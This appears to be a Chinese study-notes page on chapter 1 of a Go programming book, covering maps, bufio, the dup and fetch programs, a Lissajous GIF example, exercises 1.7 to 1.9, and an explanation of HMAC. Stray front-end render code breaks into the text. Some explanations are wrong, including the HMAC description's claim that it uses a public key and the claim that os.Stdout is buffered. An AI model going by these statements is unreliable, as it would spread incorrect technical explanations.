map 从功能上来说和 Python 的 dict 比较像, 都可以存储键值对
map 存储了键/值(key/value)的集合,对集合元素,提供常数时间的存、取或测试操作。
==
运算符比较,最常见的例子是字符串;内置函数 make
创建空 map
bufio
包使处理输入和输出方便又高效。Scanner
类型是该包最有用的特性之一,它读取输入并将其拆成行或单词;通常是处理行形式的输入最简单的方法。
程序使用短变量声明创建 bufio.Scanner
类型的变量 input
。
input := bufio.NewScanner(os.Stdin)
+
该变量从程序的标准输入中读取内容。每次调用 input.Scan()
,即读入下一行,并移除行末的换行符;读取的内容可以调用 input.Text()
得到。Scan
函数在读到一行时返回 true
,不再有输入时返回 false
。
if 后面跟的条件语句不用括号, 但是主体部分必须加花括号, 就算只有一行也要加
map
中不含某个键时不用担心,首次读到新行时,等号右边的表达式 counts[line]
的值将被计算为其类型的零值,对于 int
即 0
。
关于 Printf 格式化输出:
%d 十进制整数
+%x, %o, %b 十六进制,八进制,二进制整数。
+%f, %g, %e 浮点数: 3.141593 3.141592653589793 3.141593e+00
+%t 布尔:true或false
+%c 字符(rune) (Unicode码点)
+%s 字符串
+%q 带双引号的字符串"abc"或带单引号的字符'c'
+%v 变量的自然形式(natural format)
+%T 变量的类型
+%% 字面上的百分号标志(无操作数)
+
很多程序要么从标准输入中读取数据,如上面的例子所示,要么从一系列具名文件中读取数据。dup
程序的下个版本读取标准输入或是使用 os.Open
打开各个具名文件,并操作它们。
// 统计标准输入或文件中重复的行
+func countLines(f *os.File, counts map[string]int) {
+ input := bufio.NewScanner(f)
+ for input.Scan() {
+ // 遇到 -1 时, input.Scan() 退出循环
+ if input.Text() == "-1" {
+ break
+ }
+ counts[input.Text()]++
+ }
+ // 注意: 忽略input.Err()中可能的错误
+}
+
+// 读取标准输入或是使用 os.Open 打开各个具名文件,并操作它们
+func Dup2() {
+ counts := make(map[string]int)
+ files := os.Args[1:]
+ if len(files) == 0 {
+ countLines(os.Stdin, counts)
+ } else {
+ for _, arg := range files {
+ f, err := os.Open(arg)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "dup2: %v\\n", err)
+ continue
+ }
+ countLines(f, counts)
+ f.Close()
+ }
+ }
+ for line, n := range counts {
+ if n > 1 {
+ fmt.Printf("%d\\t%s\\n", n, line)
+ }
+ }
+}
+
os.Open
函数返回两个值
*os.File
),其后被 Scanner
读取。error
类型的值 err
等于内置值nil
(相当于其它语言里的 NULL
),那么文件被成功打开。读取文件,直到文件结束,然后调用 Close
关闭该文件,并释放占用的所有资源。err
的值不是 nil
,说明打开文件时出错了。这种情况下,错误值描述了所遇到的问题; 在上面的程序中对于此种情况的处理只是简单地将错误输出了 %v
表示任意类型默认格式值continue
语句直接跳到 for
循环的下个迭代开始执行。关于 CountLines 函数, 其实放在 Dup2 函数后面声明也是可以正常调用的, 不过个人习惯还是写把 Dup2 中要用到的函数写在前面了
函数和包级别的变量(package-level entities)可以任意顺序声明,并不影响其被调用。
map
是一个由 make
函数创建的数据结构的引用。map
作为参数传递给某函数时,该函数接收这个引用的一份拷贝,被调用函数对 map
底层数据结构的任何修改,调用者函数都可以通过持有的 map
引用看到。在我们的例子中,countLines
函数向 counts
插入的值,也会被 Dup2
函数看到。
dup
的前两个版本以"流”模式读取输入,并根据需要拆分成多个行。理论上,这些程序可以处理任意数量的输入数据。
还有另一个方法,就是一口气把全部输入数据读到内存中,一次分割为多行,然后处理它们。下面这个版本,dup3
,就是这么操作的。这个例子引入了 ReadFile
函数(来自于io/ioutil
包),其读取指定文件的全部内容,strings.Split
函数把字符串分割成子串的切片。(Split
的作用与前文提到的 strings.Join
相反。)
// 一次性读取指定文件到内存中, 然后进行分割与计算重复行的操作
+func Dup3() {
+ counts := make(map[string]int)
+ for _, filename := range os.Args[1:] {
+ data, err := ioutil.ReadFile(filename)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "dup3: %v\\n", err)
+ continue
+ }
+ for _, line := range strings.Split(string(data), "\\n") {
+ counts[line]++
+ }
+ }
+ for line, n := range counts {
+ if n > 1 {
+ fmt.Printf("%d\\t%s\\n", n, line)
+ }
+ }
+}
+
ReadFile
函数返回一个字节切片(byte slice),必须把它转换为 string
,才能用 strings.Split
分割。
在 3.5.4 章中会有对字符串和字节切片的详细讲解
实现上,bufio.Scanner
、ioutil.ReadFile
和 ioutil.WriteFile
都使用 *os.File
的 Read
和 Write
方法,但是,大多数程序员很少需要直接调用那些低级(lower-level)函数。高级(higher-level)函数,像 bufio
和 io/ioutil
包中所提供的那些,用起来要容易点。
仔细看上图中的输出会发现 cmd3 只计算到了 2 次, 这是因为文件最后没有换行, 可以将所有键值对输出看看:
可以看到有两个 cmd3
这是因为我们使用的
\\n
切分的字符串, Windows 下的默认行尾序列时CRLF
也即\\r\\n
, VSCode 中可以调节行尾序列, 这里我用的 Windows 系统, VSCode 中默认也是 CRLF, 所以实际上最后三行切分的结果是:cmd3\\r
,cmd3\\r
,cmd3
; 因此输出的时候会看到两个 cmd3如果修改为根据
\\r\\n
切分的话就可以得到预期结果了:
除此以外,在 Go 1.16 之后 io/ioutil 已经弃用了
这里可以直接使用
os.ReadFile
, 效果是一样的:
package ch1
+
+import (
+ "image"
+ "image/color"
+ "image/gif"
+ "io"
+ "math"
+ "math/rand"
+ "os"
+ "time"
+)
+
+var palette = []color.Color{color.White, color.Black}
+
+const (
+ whiteIndex = 0 // first color in palette
+ blackIndex = 1 // next color in palette
+)
+
+func LissajousMain() {
+ rand.Seed(time.Now().UTC().UnixNano())
+ lissajous(os.Stdout)
+}
+
+func lissajous(out io.Writer) {
+ const (
+ cycles = 5 // number of complete x oscillator revolutions
+ res = 0.001 // angular resolution
+ size = 100 // image canvas covers [-size..+size]
+ nframes = 64 // number of animation frames
+ delay = 8 // delay between frames in 10ms units
+ )
+ /* rand.Float64() 返回一个 64 位也即小数点后保留 16 位的浮点数 f,
+ 0.0 <= f < 1.0*/
+ freq := rand.Float64() * 3.0 // relative frequency of y oscillator
+ anim := gif.GIF{LoopCount: nframes}
+ phase := 0.0 // phase difference
+ for i := 0; i < nframes; i++ {
+ rect := image.Rect(0, 0, 2*size+1, 2*size+1)
+ img := image.NewPaletted(rect, palette)
+ for t := 0.0; t < cycles*2*math.Pi; t += res {
+ x := math.Sin(t)
+ y := math.Sin(t*freq + phase)
+ img.SetColorIndex(size+int(x*size+0.5), size+int(y*size+0.5),
+ blackIndex)
+ }
+ phase += 0.1
+ anim.Delay = append(anim.Delay, delay)
+ anim.Image = append(anim.Image, img)
+ }
+ // EncodeAll 函数将生成的 gif anim 写入到 out 中
+ gif.EncodeAll(out, &anim) // NOTE: ignoring encoding errors
+}
+
+
`,17),vn=n("li",null,[n("p",null,[n("code",null,"line27~33"),s(" 的常量声明给出了一系列的常量值,常量是指在程序编译后运行时始终都不会变化的值,比如圈数、帧数、延迟值。常量声明和变量声明一般都会出现在包级别,所以这些常量在整个包中都是可以共享的,或者你也可以把常量声明定义在函数体内部,那么这种常量就只能在函数体内用。目前常量声明的值必须是一个数字值、字符串或者一个固定的 boolean 值。")])],-1),gn=n("li",null,[n("p",null,[n("code",null,"[]color.Color{...}"),s(" 和 "),n("code",null,"gif.GIF{...}"),s(" 这两个表达式是复合声明(4.2 和 4.4.1 节有说明)。这是实例化 Go 语言里的复合类型的一种写法。")]),n("p",null,"前者生成的是一个 slice 切片,后者生成的是一个 struct 结构体。")],-1),bn=e(`
lissajous 函数内部有两层嵌套的 for 循环。外层循环会循环 64 次,每一次都会生成一个单独的动画帧。它生成了一个包含两种颜色的 201*201 大小的图片,白色和黑色。所有像素点都会被默认设置为其零值(也就是调色板 palette 里的第 0 个值),这里我们设置的是白色。每次外层循环都会生成一张新图片,并将一些像素设置为黑色。其结果会 append 到之前结果之后。这里我们用到了 append(参考 4.2.1)内置函数,将结果 append 到 anim 中的帧列表末尾,并设置一个默认的 80ms 的延迟值。循环结束后所有的延迟值被编码进了 GIF 图片中,并将结果写入到输出流。out 这个变量是 io.Writer 类型,这个类型支持把输出结果写到很多目标,很快我们就可以看到例子。
内层循环设置两个偏振值。x 轴偏振使用 sin 函数。y 轴偏振也是正弦波,但其相对 x 轴的偏振是一个 0-3 的随机值,初始偏振值是一个零值,随着动画的每一帧逐渐增加。循环会一直跑到 x 轴完成五次完整的循环。每一步它都会调用 SetColorIndex 来为(x,y)点来染黑色。
main 函数调用 lissajous 函数,用它来向标准输出流打印信息,所以下面这个命令会像图 1.1 中产生一个 GIF 动画。
go build main
+main.exe > out.gif
+
TODO: 这节内容其实有一些代码没有完全理解, 后面学完 ch4 再回来看看
Go 语言在 net package 的帮助下提供了一些列的 package 来访问互联网上的信息, 使用这些包可以更简单地用网络收发信息, 还可以建立更底层的网络连接, 编写服务器程序, 在这些情景下, Go 语言原生的并发特性显得尤其好用
在第八章中会介绍 Go 语言原生的并发特性
TODO: 在可以建立更底层的网络连接方面看起来似乎可以用来构造一些欺骗性质的请求, 之后遇到可以试试
下面是一个 fetch 程序的示例, fetch 到对应 url 并打印响应文本
这个例子的灵感来源于 curl
package ch1
+
+import (
+ "fmt"
+ "io"
+ "net/http"
+ "os"
+)
+
+func PrintResponseBody() {
+ for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
+ resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
+ // 如果有错误发生,打印错误信息并退出程序并返回错误码1
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "fetch: %v\\n", err)
+ os.Exit(1)
+ }
+ b, err := io.ReadAll(resp.Body) // 读取响应体
+ resp.Body.Close() // 关闭响应体
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "fetch: reading %s: %v\\n", url, err)
+ os.Exit(1)
+ }
+ fmt.Printf("%s", b) // 打印响应体
+ }
+
+}
+
+
`,2),Tn=n("p",null,[n("code",null,":="),s(" 是一个赋值运算符, 用于 "),n("code",null,"声明并初始化"),s(" 一个变量, 其左边是一个或多个变量, 右边是一个或多个表达式")],-1),zn=n("p",null,[n("code",null,":="),s(" 运算符只能用在函数内部,不能用在全局作用域")],-1),Hn=n("p",null,[s("它可以简化变量的声明和赋值过程,不需要使用 "),n("code",null,"var"),s(" 关键字或指定变量的类型")],-1),Dn={href:"https://stackoverflow.com/questions/16521472/assignment-operator-in-go-language",target:"_blank",rel:"noopener noreferrer"},Ln=e(`上述是请求成功的情况
请求失败:
超时:
译注:在大天朝的网络环境下很容易重现这种错误,下面是 Windows 下运行得到的错误信息:
$ go run main.go http://gopl.io +fetch: Get http://gopl.io: dial tcp: lookup gopl.io: getaddrinfow: No such host is known. +
无论哪种失败原因,上述程序都用了
os.Exit
函数来终止进程,并且返回一个 status 错误码,其值为 1。
Go 语言中, os.Args
是一个字符串切片,用于存储命令行参数
os.Args[0]
是程序名称, os.Args[1:]
是程序的参数, 例如当前目录下有一个名为 hello.go
的程序, 在命令行中使用如下语句编译并运行该程序文件
go run hello.go world !
+
那么 os.Args
的值就是:
["hello", "world", "!"]
+
range os.Args[1:]
是一个 for 循环语法, 用于遍历切片中的每个元素, range 的返回结果是 索引 元素值
的形式, 例如:
for i, arg := range os.Args[1:] {
+ fmt.Println(i, arg) // 打印索引和参数
+}
+
输出
0 world
+1 !
+
在本节的示例程序中使用了
_
来承接循环体内不会使用到的索引值
http.Get(url)
返回一个响应对象和一个错误对象
响应对象中包含了响应的状态码, 头部, 正文等信息
错误对象表示请求过程中发生了错误, 如果没有错误则错误对象为 nil
nil
是一个预定义的标识符,表示指针、通道、函数、接口、映射或切片类型的零值
nil
只能给指针, 通道, 函数, 接口, 映射或切片类型的变量赋值, 否则会引发 panic, 例如
var i int = nil // 错误:cannot use nil as type int in assignment
+var p *int = nil // 正确:p是一个指向int类型的空指针
+
nil
可以用来检查一个变量是否为空或者未初始化, 例如
var s []string // s是一个空切片,其值为nil
+if s == nil {
+ fmt.Println("s is nil")
+}
+
Fprintf
的第一个参数是一个 io.Writter
类型的变量, 表示输出流, 其可以是文件, 网络连接, 标准输出等
Fprintf
会将后面第 2 个及之后参数按照指定格式写入到输出流中, 例如:
f, err := os.Create("test.txt")
+if err != nil {
+ log.Fatal(err)
+}
+defer f.Close()
+fmt.Fprintf(f, "Hello, %s!\\n", "world") // 将Hello, world!写入到test.txt文件中
+
printf
的第一个参数是一个字符串,表示格式化模板,后面的参数是要格式化的值。printf
会将格式化后的文本输出到标准输出流(通常是屏幕)。例如:
fmt.Printf("The answer is %d.\\n", 42) // 在屏幕上打印The answer is 42.
+
os.Stderr
是 Go 语言中的一个标准错误输出流, 它是一个 io.Writter
类型的接口, 可以用于向标准错误输出(通常是中断或者控制台) 写入数据
一般情况下, 我们可以使用 os.Stderr
来打印错误信息或调试信息, 而不影响正常的标准输出流
os.Stderr
和 os.Stdout
都是 io.Writter
类型的接口, 可以向中断或者控制台写入数据, 他们的主要区别是:
os.Stderr
用于输出错误信息或调试信息, 它是无缓冲的, 每个输出都会立即刷新os.Stdout
用于输出正常的程序输出, 它是有缓冲的, 只有当缓冲区满了或者程序退出时才会刷新ioutil.ReadAll
用于从一个 Io.Reader
中读取所有数据
io.Reader
是一个接口, 表示可以从某个某个实体中读取数据流的能力, 具体来说, 它允许你从实现了 io.Reader
接口中的东西读取数据到一个字节切片中, 一些常见的实现了 io.Reader
接口的类型有:
*os.File
)*net.TCPConn
, *net.UDPConn
等)*bytes.Buffer
)*gzip.Reader
, *flate.Reader
等)*cipher.StreamReader
等)resp.Body
是一个 io.ReadCloser
类型的接口, 它包含了 io.Reader
和 io.Closer
两个接口
io.Closer
接口定义了一个 Close()
方法, 用于关闭资源并释放底层的文件描述符
如果不关闭 resp.Body
, 那么底层的网络连接将无法被复用, 导致资源泄露与性能下降
var client http.Client
+resp, err := client.Get(url)
+if err != nil {
+ log.Fatal(err)
+}
+defer resp.Body.Close()
+
+if resp.StatusCode == http.StatusOK {
+ bodyBytes, err := io.ReadAll(resp.Body)
+ // if u want to read the body many time
+ // u need to restore
+ // reader := io.NopCloser(bytes.NewReader(bodyBytes))
+ if err != nil {
+ log.Fatal(err)
+ }
+ bodyString := string(bodyBytes)
+ log.Info(bodyString)
+}
+
io.Copy
替代 io.outil.ReadAll
函数调用 io.Copy(dst, src)
会从 src 中读取内容,并将读到的结果写入到 dst 中,使用这个函数替代掉例子中的 ioutil.ReadAll
来拷贝响应结构体到 os.Stdout
,避免申请一个缓冲区(例子中的 b)来存储。记得处理 io.Copy
返回结果中的错误。
/*
+练习 1.7:
+
+函数调用io.Copy(dst, src)会从src中读取内容,并将读到的结果写入到dst中,
+使用这个函数替代掉例子中的 ioutil.ReadAll 来拷贝响应结构体到 os.Stdout,避免申请一个缓冲区(例子中的b)来存储。
+记得处理io.Copy返回结果中的错误。
+*/
+package ch1
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "os"
+)
+
+func PrintResponseBody_Copy() {
+ for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
+ resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
+ // 如果有错误发生,打印错误信息并退出程序并返回错误码1
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "fetch: %v\\n", err)
+ os.Exit(1)
+ }
+ defer resp.Body.Close() // 关闭响应体
+
+ n, err := io.Copy(os.Stdout, resp.Body) // 读取响应体
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Printf("Copied %d bytes", n)
+ }
+}
+
+
io.Copy
函数是从一个 io.Reader
接口读取数据, 并写到一个 io.Writter
接口, 直到读取完毕或发生错误
使用 io.Copy
的一般格式是
n, err := io.Copy(dst, src)
+
n
字节数err
复制过程中遇到的错误(dst, src)
(目标的 io.Writter, 源的 io.Reader)
log.Fatal
函数用于在但因输出内容后, 退出应用程序
相当于调用了 log.Print
和 os.Exit(1)
两个函数, 通常用于处理无法回复的错误情况
log.Print
用于在标准错误输出 os.Stderr
上打印一条日志信息, 相当于调用了 fmt.FPrint(v ... interface[])
其与 fmt.Printf(os.Stderr)
有如下区别
log.Print
会自动添加当前日期和时间作为前缀, 而后者不会log.Print
会自动添加换行符作为后缀, 而后者不会log.Print
可以从多个 goroutine
安全地调用, 而后者需要使用同步机制来避免竞争条件修改 fetch
这个范例,如果输入的 url 参数没有 http://
前缀的话,为这个 url 加上该前缀。你可能会用到 strings.HasPrefix
这个函数。
/*
+练习 1.8
+修改fetch这个范例,如果输入的url参数没有 http:// 前缀的话,为这个url加上该前缀。
+你可能会用到strings.HasPrefix这个函数。
+*/
+package ch1
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "os"
+ "strings"
+)
+
+func PrintResponseBody_Copy_Prefix() {
+ for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
+ // 如果输入的url参数没有 http:// 前缀的话,为这个url加上该前缀
+ if !strings.HasPrefix(url, "http://") {
+ url = "http://" + url
+ fmt.Printf("输入的url参数没有 http:// 前缀,已为该url加上该前缀\\n当前url为: %s\\n", url)
+ }
+ resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
+ // 如果有错误发生,打印错误信息并退出程序并返回错误码1
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "fetch: %v\\n", err)
+ os.Exit(1)
+ }
+ defer resp.Body.Close() // 关闭响应体
+
+ n, err := io.Copy(os.Stdout, resp.Body) // 读取响应体
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Printf("Copied %d bytes \\n", n)
+ }
+}
+
+
strings.HasPrefix
函数用于判断一个字符串是否包含指定前缀, 如果包含则返回 true
, 否则返回 false
, 其使用方式为:
strings.HasPrefix(s string, prefix string) bool
+
其中 s
为需要判断的字符串, prefix
为要检查的前缀
修改 fetch 打印出 HTTP 协议的状态码,可以从 resp.Status
变量得到该状态码。
/*
+练习 1.9
+修改 fetch 打印出HTTP协议的状态码,可以从 resp.Status 变量得到该状态码。
+*/
+package ch1
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "os"
+ "strings"
+)
+
+func PrintResponseBody_Copy_Prefix_Status() {
+ for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
+ // 如果输入的url参数没有 http:// 前缀的话,为这个url加上该前缀
+ if !strings.HasPrefix(url, "http://") {
+ url = "http://" + url
+ fmt.Printf("输入的url参数没有 http:// 前缀,已为该url加上该前缀\\n当前url为: %s\\n", url)
+ }
+ resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
+ // 如果有错误发生,打印错误信息并退出程序并返回错误码1
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "fetch: %v\\n", err)
+ os.Exit(1)
+ }
+ defer resp.Body.Close() // 关闭响应体
+
+ // 打印HTTP协议的状态码
+ fmt.Printf("HTTP协议的状态码: %s", resp.Status)
+
+ n, err := io.Copy(os.Stdout, resp.Body) // 读取响应体
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Printf("Copied %d bytes \\n", n)
+ }
+}
+
+
resp.Status
与 resp.Body
不同, 它只是一个字符串, 并非可关闭的资源, 因此不用像后者一样需要考虑关闭以避免资源泄露Go 语言中的函数名、变量名、常量名、类型名、语句标号和包名等所有的命名,都遵循一个简单的命名规则:一个名字必须以一个字母(Unicode 字母)或下划线开头,后面可以跟任意数量的字母、数字或下划线。
大写字母和小写字母是不同的:heapSort
和 Heapsort
是两个不同的名字。
HMAC(Hash-based Message Authentication Code)
算法就是一种基于密钥的消息认证码算法, 是一种更安全的消息摘要算法.
HMAC算法是一种执行“校验和”的算法,它通过对数据进行“校验”来检查数据是否被更改了。在发送数据以前,HMAC算法对数据块和双方约定的公钥进行“散列操作”,以生成称为“摘要”的东西,附加在待发送的数据块中。当数据和摘要到达其目的地时,就使用HMAC算法来生成另一个校验和,如果两个数字相匹配,那么数据未被做任何篡改。否则,就意味着数据在传输或存储过程中被篡改了。
HMAC 的 MAC 算法是 hash 算法,它可以是 MD5
, SHA-1
或者 SHA-256
,他们分别被称为 HMAC-MD5
,``HMAC-SHA1,
HMAC-SHA256`。
计算步骤:
HMAC 算法的一个典型应用是用在 “挑战/响应”(Challenge/Response)
身份认证中,认证流程如下:
先由客户端向服务器发出一个验证请求。
服务器接到此请求后生成一个随机数并通过网络传输给客户端(此为挑战)。
客户端将收到的随机数与自己的密钥进行 HMAC-SHA1 运算并得到一个结果作为认证证据传给服务器(此为响应)。
与此同时,服务器也使用该随机数与存储在服务器数据库中的该客户密钥进行 HMAC-SHA1 运算
如果服务器的运算结果与客户端传回的响应结果相同,则认为客户端是一个合法用户 。
label